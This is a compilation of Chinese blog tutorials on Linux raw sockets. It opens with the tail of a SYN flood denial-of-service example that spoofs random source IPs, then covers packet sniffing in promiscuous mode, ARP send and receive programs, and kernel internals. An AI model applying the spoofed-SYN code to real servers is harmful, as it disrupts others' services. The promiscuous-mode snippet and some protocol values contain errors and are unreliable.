           因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。
           备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。
           最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:
           struct ip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。
           BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:


     我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:
    点击(此处)折叠或打开
    struct ip *ip;

    ip=(struct ip*)buf;
    ip->ip_v = IPVERSION;
    ip->ip_hl = sizeof(struct ip)>>2;
    ip->ip_tos = 0;
    ip->ip_len = htons(ip_len);
    ip->ip_id=0;
    ip->ip_off=0;
    ip->ip_ttl=MAXTTL;
    ip->ip_p=IPPROTO_TCP;
    ip->ip_sum=0;
    ip->ip_dst=target->sin_addr;

    ip->ip_src.s_addr = random();
    改成:
    点击(此处)折叠或打开
    struct iphdr *ip;

    ip=(struct iphdr*)buf;
    ip->version = IPVERSION;
    ip->ihl = sizeof(struct ip)>>2;
    ip->tos = 0;
    ip->tot_len = htons(ip_len);
    ip->id=0;
    ip->frag_off=0;
    ip->ttl=MAXTTL;
    ip->protocol=IPPROTO_TCP;
    ip->check=0;
    ip->daddr=target->sin_addr.s_addr;

    ip->saddr = random();
           结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。
           小结:
           1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
           2、只有超级用户才能创建原始套接字。
           3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
    ========

     Linux网络编程:原始套接字的魔力【下】



    可以接收链路层MAC帧的原始套接字
           前面我们介绍过了通过原始套接字socket(AF_INET, SOCK_RAW, protocol)我们可以直接实现自行构造整个IP报文,然后对其收发。提醒一点,在用这种方式构造原始IP报文时,第三个参数protocol不能用IPPROTO_IP,这样会让系统疑惑,不知道该用什么协议来伺候你了。
           今天我们介绍原始套接字的另一种用法:直接从链路层收发数据帧,听起来好像很神奇的样子。在Linux系统中要从链路层(MAC)直接收发数帧,比较普遍的做法就是用libpcap和libnet两个动态库来实现。但今天我们就要用原始套接字来实现这个功能。


           这里的2字节帧类型用来指示该数据帧所承载的上层协议是IP、ARP或其他。
           为了实现直接从链路层收发数据帧,我们要用到原始套接字的如下形式:
     socket(PF_PACKET, type, protocol)
    1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它们两个都使用一种与设备无关的标准物理层地址结构struct sockaddr_ll{},但具体操作的报文格式不同:
    SOCK_RAW:直接向网络硬件驱动程序发送(或从网络硬件驱动程序接收)没有任何处理的完整数据报文(包括物理帧的帧头),这就要求我们必须了解对应设备的物理帧帧头结构,才能正确地装载和分析报文。也就是说我们用这种套接字从网卡驱动上收上来的报文包含了MAC头部,如果我们要用这种形式的套接字直接向网卡发送数据帧,那么我们必须自己组装我们MAC头部。这正符合我们的需求。
    SOCK_DGRAM:这种类型的套接字对于收到的数据报文的物理帧帧头会被系统自动去掉,然后再将其往协议栈上层传递;同样地,在发送时数据时,系统将会根据sockaddr_ll结构中的目的地址信息为数据报文添加一个合适的MAC帧头。
    2、protocol字段,常见的,一般情况下该字段取ETH_P_IP,ETH_P_ARP,ETH_P_RARP或ETH_P_ALL,当然链路层协议很多,肯定不止我们说的这几个,但我们一般只关心这几个就够我们用了。这里简单提一下网络数据收发的一点基础。协议栈在组织数据收发流程时需要处理好两个方面的问题:“从上倒下”,即数据发送的任务;“从下到上”,即数据接收的任务。数据发送相对接收来说要容易些,因为对于数据接收而言,网卡驱动还要明确什么样的数据该接收、什么样的不该接收等问题。protocol字段可选的四个值及其意义如下:
    protocol

    作用
    ETH_P_IP
    0X0800
    只接收发往目的MAC是本机的IP类型的数据帧
    ETH_P_ARP
    0X0806
    只接收发往目的MAC是本机的ARP类型的数据帧
    ETH_P_RARP
    0X8035
    只接受发往目的MAC是本机的RARP类型的数据帧
    ETH_P_ALL
    0X0003
    接收发往目的MAC是本机的所有类型(ip,arp,rarp)的数据帧,同时还可以接收从本机发出去的所有数据帧。在混杂模式打开的情况下,还会接收到发往目的MAC为非本地硬件地址的数据帧。
          protocol字段可取的所有协议参见/usr/include/linux/if_ether.h头文件里的定义。
          最后,格外需要留心一点的就是,发送数据的时候需要自己组织整个以太网数据帧。和地址相关的结构体就不能再用前面的struct sockaddr_in{}了,而是struct sockaddr_ll{},如下:
    点击(此处)折叠或打开
    struct sockaddr_ll{ 
        unsigned short sll_family; /* 总是 AF_PACKET */ 
        unsigned short sll_protocol; /* 物理层的协议 */ 
        int sll_ifindex; /* 接口号 */ 
        unsigned short sll_hatype; /* 报头类型 */ 
        unsigned char sll_pkttype; /* 分组类型 */ 
        unsigned char sll_halen; /* 地址长度 */ 
        unsigned char sll_addr[8]; /* 物理层地址 */ 
    };
     sll_protocoll:取值在linux/if_ether.h中,可以指定我们所感兴趣的二层协议;
           sll_ifindex:置为0表示处理所有接口,对于单网卡的机器就不存在“所有”的概念了。如果你有多网卡,该字段的值一般通过ioctl来搞定,模板代码如下,如果我们要获取eth0接口的序号,可以使用如下代码来获取:
    点击(此处)折叠或打开
    struct  sockaddr_ll  sll;
    struct ifreq ifr;


    strcpy(ifr.ifr_name, "eth0");
    ioctl(sockfd, SIOCGIFINDEX, &ifr);
    sll.sll_ifindex = ifr.ifr_ifindex;
      sll_hatype:ARP硬件地址类型,定义在 linux/if_arp.h 中。 取ARPHRD_ETHER时表示为以太网。
      sll_pkttype:包含分组类型。目前,有效的分组类型有:目标地址是本地主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST,在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,源于本地主机的分组被环回到分组套接口用的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。
           sll_addr和sll_halen指示物理层(如以太网,802.3,802.4或802.5等)地址及其长度,严格依赖于具体的硬件设备。类似于获取接口索引sll_ifindex,要获取接口的物理地址,可以采用如下代码:
    点击(此处)折叠或打开
    struct ifreq ifr;


    strcpy(ifr.ifr_name, "eth0");
    ioctl(sockfd, SIOCGIFHWADDR, &ifr);
     缺省情况下,从任何接口收到的符合指定协议的所有数据报文都会被传送到原始PACKET套接字口,而使用bind系统调用并以一个sochddr_ll结构体对象将PACKET套接字与某个网络接口相绑定,就可使我们的PACKET原始套接字只接收指定接口的数据报文。 
     接下来我们简单介绍一下网卡是怎么收报的,如果你对这部分已经很了解可以跳过这部分内容。网卡从线路上收到信号流,网卡的驱动程序会去检查数据帧开始的前6个字节,即目的主机的MAC地址,如果和自己的网卡地址一致它才会接收这个帧,不符合的一般都是直接无视。然后该数据帧会被网络驱动程序分解,IP报文将通过网络协议栈,最后传送到应用程序那里。往上层传递的过程就是一个校验和“剥头”的过程,由协议栈各层去实现。


           接下来我们来写个简单的抓包程序,将那些发给本机的IPv4报文全打印出来:
    点击(此处)折叠或打开
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/if_ether.h>


    int main(int argc, char **argv) {
       int sock, n;
       char buffer[2048];
       struct ethhdr *eth;
       struct iphdr *iph;


       if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
         perror("socket");
         exit(1);
       }


       while (1) {
         printf("=====================================\n");
         //注意:在这之前我没有调用bind函数,原因是什么呢?
         n = recvfrom(sock,buffer,2048,0,NULL,NULL);
         printf("%d bytes read\n",n);


         //接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
         eth=(struct ethhdr*)buffer;
         printf("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
         printf("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);


         iph=(struct iphdr*)(buffer+sizeof(struct ethhdr));
         //我们只对IPV4且没有选项字段的IPv4报文感兴趣
         if(iph->version ==4 && iph->ihl == 5){
                 printf("Source host:%s\n",inet_ntoa(iph->saddr));
                 printf("Dest host:%s\n",inet_ntoa(iph->daddr));
         }
       }
    }
          编译,然后运行,要以root身份才可以运行该程序:


    正如我们前面看到的,网卡丢弃所有不含有主机MAC地址00:0C:29:BA:CB:61的数据包,这是因为网卡处于非混杂模式,即每个网卡只处理源地址是它自己的帧!
    这里有三个例外的情况:
    1、如果一个帧的目的MAC地址是一个受限的广播地址(255.255.255.255)那么它将被所有的网卡接收。
    2、如果一个帧的目的地址是组播地址,那么它将被那些打开组播接收功能的网卡所接收。
    3、网卡如被设置成混杂模式,那么它将接收所有流经它的数据包。
           前面我们刚好提到过网卡的混杂模式,现在我们就来迫不及待的实践一哈看看混杂模式是否可以让我们抓到所有数据包,只要在while循环前加上如下代码就OK了:


    点击(此处)折叠或打开
    struct ifreq ethreq;
    … …
    strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
    if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
         perror("ioctl");
         close(sock);
         exit(1);
    }
    ethreq.ifr_flags |=IFF_PROMISC;
    if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
         perror("ioctl");
         close(sock);
         exit(1);
    }
    while(1){
       … …
    }
           至此,我们一个网络抓包工具的雏形就出现了。大家可以基于此做更多的练习,加上多线程机制,对收到的不同类型的数据包做不同处理等等,反正由你发挥的空间是相当滴大,“狐狸未成精,只因太年轻”。把这块吃透了,后面理解协议栈就会相当轻松。
    ========

     Linux网络编程:原始套接字的魔力【续



    如何从链路层直接发送数据帧
           本来以为这部分都弄完了,结果有朋友反映说看了半天还是没看到如何从链路层直接发送数据。因为上一篇里面提到的是从链路层“收发”数据,结果只“收”完,忘了“发”,实在抱歉,所以就有这篇续出来了。
           上一节我们主要研究了如何从链路层直接接收数据帧,可以通过bind函数来将原始套接字绑定到本地一个接口上,然后该套接字就只接收从该接口收上来的对应的数据包。今天我们用原始套接字来手工实现链路层ARP报文的发送和接收,以便大家对原始套接字有更深刻的掌握和理解。
           ARP全称为地址解析协议,是链路层广泛使用的一种寻址协议,完成32比特IP地址到48比特MAC地址的映射转换。在以太网中,当一台主机需要向另外一台主机发送消息时,它会首先在自己本地的ARP缓存表中根据目的主机的IP地址查找其对应的MAC地址,如果找到了则直接向其发送消息。如果未找到,它首先会在全网发送一个ARP广播查询,这个查询的消息会被以太网中所有主机接收到,然后每个主机就根据ARP查询报文中所指定的IP地址来检查该报文是不是发给自己的,如果不是则直接丢弃;只有被查询的目的主机才会对这个消息进行响应,然后将自己的MAC地址通告给发送者。
           也就是说,链路层中是根据MAC地址来确定唯一一台主机。以太帧格式如下:


           以太帧首部中2字节的帧类型字段指定了其上层所承载的具体协议,常见的有0x0800表示是IP报文、0x0806表示RARP协议、0x0806即为我们将要讨论的ARP协议。
     硬件类型: 1表示以太网。
     协议类型: 0x0800表示IP地址。和以太头部中帧类型字段相同。
     硬件地址长度和协议地址长度:对于以太网中的ARP协议而言,分别为6和4;
     操作码:1表示ARP请求;2表示ARP应答;3表示RARP请求;4表示RARP应答。
           我们这里只讨论硬件地址为以太网地址、协议地址为IP地址的情形,所以剩下四个字段就分别表示发送方的MAC和IP地址、接收方的MAC和IP地址了。
           注意:对于一个ARP请求报文来说,除了接收方硬件地址外,其他字段都要填充。当系统收到一个ARP请求时,会查询该请求报文中接收方的协议地址是否和自己的IP地址相等,如果相等,它就把自己的硬件地址和协议地址填充进去,将发送和接收方的地址互换,然后将操作码改为2,发送回去。


           下面看一个使用原始套接字发送ARP请求的例子:
    点击(此处)折叠或打开
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/if_ether.h>
    #include <net/if_arp.h>
    #include <netpacket/packet.h>
    #include <net/if.h>
    #include <net/ethernet.h>


    #define BUFLEN 42


    int main(int argc,char** argv){
        int skfd,n;
        char buf[BUFLEN]={0};
        struct ether_header *eth;
        struct ether_arp *arp;
        struct sockaddr_ll toaddr;
        struct in_addr targetIP,srcIP;
        struct ifreq ifr;


        unsigned char src_mac[ETH_ALEN]={0};
        unsigned char dst_mac[ETH_ALEN]={0xff,0xff,0xff,0xff,0xff,0xff}; //全网广播ARP请求
        if(3 != argc){
                printf("Usage: %s netdevName dstIP\n",argv[0]);
                exit(1);
        }


        if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)))){
                perror("Create Error");
                exit(1);
        }


        bzero(&toaddr,sizeof(toaddr));
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name,argv[1]);


        //获取接口索引
        if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
               perror("get dev index error:");
               exit(1);
        }
        toaddr.sll_ifindex = ifr.ifr_ifindex;
        printf("interface Index:%d\n",ifr.ifr_ifindex);
        //获取接口IP地址
        if(-1 == ioctl(skfd,SIOCGIFADDR,&ifr)){
               perror("get IP addr error:");
               exit(1);
        }
        srcIP.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
        printf("IP addr:%s\n",inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));


        //获取接口的MAC地址
        if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
               perror("get dev MAC addr error:");
               exit(1);
        }


        memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
        printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);




        //开始填充,构造以太头部
        eth=(struct ether_header*)buf;
        memcpy(eth->ether_dhost,dst_mac,ETH_ALEN); 
        memcpy(eth->ether_shost,src_mac,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);


        //手动开始填充用ARP报文首部
        arp=(struct arphdr*)(buf+sizeof(struct ether_header));
        arp->arp_hrd = htons(ARPHRD_ETHER); //硬件类型为以太
        arp->arp_pro = htons(ETHERTYPE_IP); //协议类型为IP


        //硬件地址长度和IPV4地址长度分别是6字节和4字节
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;


        //操作码,这里我们发送ARP请求
        arp->arp_op = htons(ARPOP_REQUEST);
          
        //填充发送端的MAC和IP地址
        memcpy(arp->arp_sha,src_mac,ETH_ALEN);
        memcpy(arp->arp_spa,&srcIP,4);


        //填充目的端的IP地址,MAC地址不用管
        inet_pton(AF_INET,argv[2],&targetIP);
        memcpy(arp->arp_tpa,&targetIP,4);


        toaddr.sll_family = PF_PACKET;
        n=sendto(skfd,buf,BUFLEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));


        close(skfd);
        return 0;
    }
         结果如下:


           可以看到,我向网关发送一个ARP查询请求,报文中携带了网关的IP地址以及我本地主机的IP和MAC地址。网关收到该请求后,对我的这个报文进行了回应,将它的MAC地址在ARP应答报文中发给我了。
           在这个示例程序中,我们完全自己手动构造了以太帧头部,并完成了整个ARP请求报文的填充,最后用sendto函数,将我们的数据通过eth0接口发送出去。这个程序的灵活性还在于支持多网卡,使用时只要指定网卡名称(如eth0或eth1),程序便会自动去获取指定接口相应的IP和MAC地址,然后用它们去填充ARP请求报文中对应的各字段。
           在头文件里,主要对以太帧首部进行了封装:
    点击(此处)折叠或打开
    struct ether_header
    {
       u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */
       u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */
       u_int16_t ether_type; /* packet type ID field */
    } __attribute__ ((__packed__));
         在头文件中,对ARP首部进行了封装:
    点击(此处)折叠或打开
    struct arphdr
    {
        unsigned short ar_hrd; /* format of hardware address */
        unsigned short ar_pro; /* format of protocol address */
        unsigned char ar_hln; /* length of hardware address */
        unsigned char ar_pln; /* length of protocol address */
        unsigned short ar_op; /* ARP opcode (command) */
    }
          而头文件里,又对ARP整个报文进行了封装:
    点击(此处)折叠或打开
    struct ether_arp {
        struct arphdr ea_hdr; /* fixed-size 8 bytes header */
        u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
        u_int8_t arp_spa[4]; /* sender protocol address */
        u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
        u_int8_t arp_tpa[4]; /* target protocol address */
    };


    #define arp_hrd ea_hdr.ar_hrd
    #define arp_pro ea_hdr.ar_pro
    #define arp_hln ea_hdr.ar_hln
    #define arp_pln ea_hdr.ar_pln
    #define arp_op ea_hdr.ar_op
        最后再看一个简单的接收ARP报文的小程序: 
    点击(此处)折叠或打开
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/if_ether.h>
    #include <net/if_arp.h>
    #include <netpacket/packet.h>
    #include <net/if.h>
    #define BUFLEN 60


    int main(int argc,char** argv){
        int i,skfd,n;
        char buf[ETH_FRAME_LEN]={0};
        struct ethhdr *eth;
        struct ether_arp *arp;
        struct sockaddr_ll fromaddr;
        struct ifreq ifr;


        unsigned char src_mac[ETH_ALEN]={0};


        if(2 != argc){
            printf("Usage: %s netdevName\n",argv[0]);
            exit(1);
        }


        //只接收发给本机的ARP报文
        if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))){
            perror("Create Error");
            exit(1);
        }


        bzero(&fromaddr,sizeof(fromaddr));
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name,argv[1]);


        //获取接口索引
        if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
            perror("get dev index error:");
            exit(1);
        }
        fromaddr.sll_ifindex = ifr.ifr_ifindex;
        printf("interface Index:%d\n",ifr.ifr_ifindex);


        //获取接口的MAC地址
        if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
            perror("get dev MAC addr error:");
            exit(1);
        }


        memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
        printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);


        fromaddr.sll_family = PF_PACKET;
        fromaddr.sll_protocol=htons(ETH_P_ARP);
        fromaddr.sll_hatype=ARPHRD_ETHER;
        fromaddr.sll_pkttype=PACKET_HOST;
        fromaddr.sll_halen=ETH_ALEN;
        memcpy(fromaddr.sll_addr,src_mac,ETH_ALEN);


        bind(skfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));


        while(1){
            memset(buf,0,ETH_FRAME_LEN);
            n=recvfrom(skfd,buf,ETH_FRAME_LEN,0,NULL,NULL);
            eth=(struct ethhdr*)buf;
            arp=(struct ether_arp*)(buf+14);


            printf("Dest MAC:");
            for(i=0;i<ETH_ALEN;i++){
                printf("%02X-",eth->h_dest[i]);
            }
            printf("Sender MAC:");
            for(i=0;i<ETH_ALEN;i++){
                printf("%02X-",eth->h_source[i]);
            }


            printf("\n");
            printf("Frame type:%0X\n",ntohs(eth->h_proto));


            if(ntohs(arp->arp_op)==2){
                printf("Get an ARP replay!\n");
            }
        }
        close(skfd);
        return 0;
    }
     该示例程序中,调用recvfrom之前我们调用了bind系统调用,目的是仅从指定的接口接收ARP报文(由socket函数的第三个参数“ETH_P_ARP”决定)。可以对比一下,该程序与博文“Linux网络编程:原始套接字的魔力【下】”里介绍的抓包程序的区别。


     小结:通过这几个章节的热身,相信大家对网络编程中常见的一系列API函数socket,bind,listen,connect,sendto,recvfrom,close等的认识应该会有一个较高的突破。当然,你也必须赶快对它们熟悉起来,因为后面我们不但要“知其然”,还要知其“所以然”。后面,我们会以这些函数调用为主线,看看它们到底在内核中做些哪些事情,而这又对我们理解协议栈的实现原理有什么帮助做进一步的分析和讨论。
    ========

    Linux原始套接字实现分析

    http://www.cnblogs.com/davidwang456/p/3463291.html


    本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核实现细节。并结合原始套接字的实际应用,说明各类型原始套接字的适应范围,以及在实际使用时需要注意的问题。


    一、原始套接字概述


    协议栈的原始套接字从实现上可以分为“链路层原始套接字”和“网络层原始套接字”两大类。本节主要描述各自的特点及其适用范围。
    链路层原始套接字可以直接用于接收和发送链路层的MAC帧,在发送时需要由调用者自行构造和封装MAC首部。而网络层原始套接字可以直接用于接收和发送IP层的报文数据,在发送时需要自行构造IP报文头(取决是否设置IP_HDRINCL选项)。


    1.1  链路层原始套接字


    链路层原始套接字调用socket()函数创建。第一个参数指定协议族类型为PF_PACKET,第二个参数type可以设置为SOCK_RAW或SOCK_DGRAM,第三个参数是协议类型(该参数只对报文接收有意义)。协议类型protocol不同取值的意义具体见表1所示:
    socket(PF_PACKET, type, htons(protocol))
          
    a)       参数type设置为SOCK_RAW时,套接字接收和发送的数据都是从MAC首部开始的。在发送时需要由调用者从MAC首部开始构造和封装报文数据。type设置为SOCK_RAW的情况应用是比较多的,因为某些项目会使用到自定义的二层报文类型。


    socket(PF_PACKET, SOCK_RAW, htons(protocol))
     
    b)      参数type设置为SOCK_DGRAM时,套接字接收到的数据报文会将MAC首部去掉。同时在发送时也不需要再手动构造MAC首部,只需要从IP首部(或ARP首部,取决于封装的报文类型)开始构造即可,而MAC首部的填充由内核实现的。若对于MAC首部不关心的场景,可以使用这种类型,这种用法用得比较少。


    socket(PF_PACKET, SOCK_DGRAM, htons(protocol))


    表1  protocol不同取值


    protocol





    作用


    ETH_P_ALL


     0x0003


    报收本机收到的所有二层报文


    ETH_P_IP


    0x0800


    报收本机收到的所有IP报文


    ETH_P_ARP


    0x0806


    报收本机收到的所有ARP报文


    ETH_P_RARP


    0x8035


    报收本机收到的所有RARP报文


    自定义协议


    比如0x0810


    报收本机收到的所有类型为0x0810的二层报文


    不指定


    0


    不能用于接收,只用于发送


    ……


    ……


    ……


    表1中protocol的取值中有两个值是比较特殊的。当protocol为ETH_P_ALL时,表示能够接收本机收到的所有二层报文(包括IP, ARP, 自定义二层报文等),同时这种类型套接字还能够将外发的报文再收回来。当protocol为0时,表示该套接字不能用于接收报文,只能用于发送。具体的实现细节在2.2节中会详细介绍。


    1.2  网络层原始套接字


    创建面向连接的TCP和创建面向无连接的UDP套接字,在接收和发送时只能操作数据部分,而不能对IP首部或TCP和UDP首部进行操作。如果想要操作IP首部或传输层协议首部,就需要调用如下socket()函数创建网络层原始套接字。第一个参数指定协议族的类型为PF_INET,第二个参数为SOCK_RAW,第三个参数protocol为协议类型(不同取值的意义见表2)。产品线有使用OSPF和RSVP等协议,需要使用这种类型的套接字。


    socktet(PF_INET, SOCK_RAW, protocol)
       
    a)       接收报文


    网络层原始套接字接收到的报文数据是从IP首部开始的,即接收到的数据包含了IP首部, TCP/UDP/ICMP等首部, 以及数据部分。
     
    b)      发送报文


    网络层原始套接字发送的报文数据,在默认情况下是从IP首部之后开始的,即需要由调用者自行构造和封装TCP/UDP等协议首部。


    这种套接字也提供了发送时从IP首部开始构造数据的功能,通过setsockopt()给套接字设置上IP_HDRINCL选项,就需要在发送时自行构造IP首部。


    int val = 1; 
    setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val));
     
    表2  protocol不同取


    protocol





    作用


    IPPROTO_TCP


    6


    报收TCP类型的报文


    IPPROTO_UDP


    17


    报收UDP类型的报文


    IPPROTO_ICMP


    1


    报收ICMP类型的报文


    IPPROTO_IGMP


    2


    报收IGMP类型的报文


    IPPROTO_RAW


    255


    不能用于接收,只用于发送(需要构造IP首部)


    OSPF


    89


    接收协议号为89的报文


    ……


    ……


    ……


    表2中protocol取值为IPPROTO_RAW是比较特殊的,表示套接字不能用于接收,只能用于发送(且发送时需要从IP首部开始构造报文)。具体的实现细节在2.3节中会详细介绍。


    二、原始套接字实现
    本节主要首先介绍链路层和网络层原始套接字报文的收发总体流程,再分别对两类套接字的创建、接收、发送等具体实现细节进行介绍。


    2.1  原始套接字报文收发流程


    图1  原始套接字收发流程


    如上图1所示为链路层和网络层原始套接字的收发总体流程。网卡驱动收到报文后在软中断上下文中由netif_receive_skb()处理,匹配是否有注册的链路层原始套接字,若匹配上就通过skb_clone()来克隆报文,并将报文交给相应的原始套接字。对于IP报文,在协议栈的ip_local_deliver_finish()函数中会匹配是否有注册的网络层原始套接字,若匹配上就通过skb_clone()克隆报文并交给相应的原始套接字来处理。


    注意:这里只是将报文克隆一份交给原始套接字,而该报文还是会继续走后续的协议栈处理流程。


          链路层原始套接字的发送,直接由套接字层调用packet_sendmsg()函数,最终再调用网卡驱动的发送函数。网络层原始套接字的发送实现要相对复杂一些,由套接字层调用inet_sendmsg()->raw_sendmsg(),再经过路由和邻居子系统的处理后,最终调用网卡驱动的发送函数。若注册了ETH_P_ALL类型套接字,还需要将外发报文再收回去。


    2.2  链路层原始套接字的实现


    2.2.1  套接字创建
     
    调用socket()函数创建套接字的流程如下,链路层原始套接字最终由packet_create()创建。


    sys_socket()->sock_create()->__sock_create()->packet_create()
     
        当socket()函数的第三个参数protocol为非零的情况下,会调用dev_add_pack()将链路层套接字packet_sock的packet_type结构链到ptype_all链表或ptype_base链表中。    


    void dev_add_pack(struct packet_type *pt) 

            …… 
            if (pt->type == htons(ETH_P_ALL)) { 
                    netdev_nit++; 
                    list_add_rcu(&pt->list, &ptype_all); 
            } else { 
                    hash = ntohs(pt->type) & 15; 
                    list_add_rcu(&pt->list, &ptype_base[hash]); 
            } 
            …… 
    }
        当protocol为ETH_P_ALL时,会将套接字加入到ptype_all链表中。如图2所示,这里创建了两个链路层原始套接字。


    图2  ptype_all链表
     
    当protocol为其它非0值时,会将套接字加入到ptype_base链表中。如图3所示,协议栈本身也需要注册packet_type结构,图中浅色的两个packet_type结构分别是IP协议和ARP协议注册的,其处理函数分别为ip_rcv()和arp_rcv()。图中另外3个深色的packet_type结构则是链路层原始套接字注册的,分别用于接收类型为ETH_P_IP、ETH_P_ARP和0x0810类型的报文。


    图3  ptype_base链表


    2.2.2  报文接收


    网卡驱动程序接收到报文后,在软中断上下文由netif_receive_skb()处理。首先会逐个遍历ptype_all链表中的packet_type结构,若满足条件“(!ptype->dev || ptype->dev == skb->dev)”,即套接字未绑定或者套接字绑定网口与skb所在网口匹配,就增加报文引用计数并交给packet_rcv()函数处理(若使用PACKET_MMAP收包方式则由tpacket_rcv()函数处理)。


    网卡驱动->netif_receive_skb()->deliver_skb()->packet_rcv()/tpacket_rcv()


        以非PACKET_MMAP收包方式为例进行说明,packet_rcv()函数中比较重要的代码片段如下。当报文skb到达packet_rcv()函数时,其skb->data所指的数据是不包含MAC首部的,所以对于type为非SOCK_DGRAM(即SOCK_RAW)类型,需要将skb->data指针前移,以便数据部分可以包含MAC首部。最后将skb放到套接字的接收队列sk->sk_receive_queue中,并唤醒用户态进程来读取套接字中的数据。


    …… 
    if (sk->sk_type != SOCK_DGRAM) //即SOCK_RAW类型 
            skb_push(skb, skb->data - skb->mac.raw); 
    …… 
    __skb_queue_tail(&sk->sk_receive_queue, skb); 
    sk->sk_data_ready(sk, skb->len); //唤醒进程读取数据 
    ……
    PACKET_MMAP收包方式的实现有所不同,tpacket_rcv()函数将skb->data拷贝到与用户态mmap映射的共享内存中,最后唤醒用户态进程来读取数据。由于报文的内容已存放在内核空间和用户空间共享的缓冲区中,用户态可以直接读取以减少数据的拷贝,所以这种方式效率比较高。


        上面介绍了报文接收在软中断的处理流程。下面以非PACKET_MMAP收包方式为例,介绍用户态读取报文数据的流程。用户态recvmsg()最终调用skb_recv_datagram(),如果套接字接收队列sk->sk_receive_queue中有报文就取skb并返回。否则调用wait_for_packet()等待,直到内核软中断收到报文并唤醒用户态进程。


    sys_recvmsg()->sock_recvmsg()->…->packet_recvmsg()->skb_recv_datagram()


    2.2.3  报文发送


    用户态调用sendto()或sendmsg()发送报文的内核态处理流程如下,由套接字层最终会调用到packet_sendmsg()。


    sys_sendto()->sock_sendmsg()->__sock_sendmsg()->packet_sendmsg()->dev_queue_xmit()


